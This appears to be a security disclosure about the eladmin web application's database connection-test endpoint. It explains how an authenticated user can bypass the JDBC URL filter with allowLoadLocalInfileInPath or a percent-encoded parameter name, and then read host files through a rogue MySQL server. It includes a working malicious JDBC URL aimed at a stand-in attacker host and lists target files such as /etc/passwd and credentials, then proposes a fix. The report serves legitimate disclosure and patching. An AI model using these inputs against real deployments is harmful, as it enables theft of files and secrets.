MarkLee131
`POST /api/database/testConnect` lets an authenticated user read arbitrary files off the eladmin host. Point `jdbcUrl` at a MySQL server you control, and the connection attempt pulls a local file back through `LOAD DATA LOCAL INFILE`. `SqlUtils.sanitizeJdbcUrl` is supposed to strip the parameters that enable this, but it doesn't catch them. The filter, https://github.com/elunez/eladmin/blob/55fbf705956949697dbd68bf9003776609d3d029/eladmin-system/src/main/java/me/zhengjie/modules/maint/util/SqlUtils.java#L209-L232 Two ways around it, both confirmed against the driver: 1. `allowLoadLocalInfileInPath=/` isn't in the list at all. It turns on LOAD DATA LOCAL INFILE for any file under that path (connector/j 8.0.22+), regardless of `allowLoadLocalInfile`. Same parameter as Apache InLong's CVE-2023-34434. 2. Percent-encode the name. `%61%6C%6C%6F%77%4C%6F%61%64%4C%6F%63%61%6C%49%6E%66%69%6C%65=true` decodes to `allowLoadLocalInfile=true`. The regex only matches the literal name, but the driver decodes the URL first. [`testConnect`](https://github.com/elunez/eladmin/blob/55fbf705956949697dbd68bf9003776609d3d029/eladmin-system/src/main/java/me/zhengjie/modules/maint/rest/DatabaseController.java#L99-L102) forwards the request body's jdbcUrl straight down: `testConnect` -> [`databaseService.testConnection`](https://github.com/elunez/eladmin/blob/55fbf705956949697dbd68bf9003776609d3d029/eladmin-system/src/main/java/me/zhengjie/modules/maint/service/impl/DatabaseServiceImpl.java#L92-L95) -> [`SqlUtils.testConnection`](https://github.com/elunez/eladmin/blob/55fbf705956949697dbd68bf9003776609d3d029/eladmin-system/src/main/java/me/zhengjie/modules/maint/util/SqlUtils.java#L121) -> getDataSource -> sanitizeJdbcUrl -> DruidDataSource.init(). It needs the `database:testConnect` permission, so it's authenticated, not pre-auth. I ran it with mysql-connector-j 8.0.33 (what the 2.7.18 BOM pulls) and DruidDataSource the same way `SqlUtils` does, against a rogue MySQL server that answers the first query with a LOAD DATA LOCAL INFILE for a file I pick. I called `SqlUtils.testConnection` directly rather than spin up the whole app, since the controller just passes the body through. With `db.password=SECRET123` in a file on the victim side and ``` jdbc:mysql://<rogue-host>:<port>/test?allowLoadLocalInfileInPath=/&useSSL=false ``` the rogue server gets back `db.password=SECRET123`. Same with /etc/passwd or the datasource config. Affects current master (2.x); eladmin-mp ships the identical `sanitizeJdbcUrl`. #900 reports the same endpoint as an SSRF issue and calls the blocklist bypassable but doesn't say with what :). Its repro stays on internal-host probing and lists file read only as a hypothetical. The above is the file read actually carried out: the specific parameters that survive the filter, an exfiltration I ran end to end against a real driver, and a patch with regression tests for both bypasses. Impact: authenticated arbitrary file read on the host (DB creds, config, container tokens, anything the JVM user can read). Knock PR down if `database:testConnect` is admin-only in your default roles. Fix is to parse the query and drop any param whose decoded, lower-cased name is dangerous instead of rewriting `=true`. A prefix check on `allowloadlocalinfile` covers both the plain and the InPath form, and decoding before the check closes the encoding gap. I've got a patch with a test for both bypasses and can send a PR.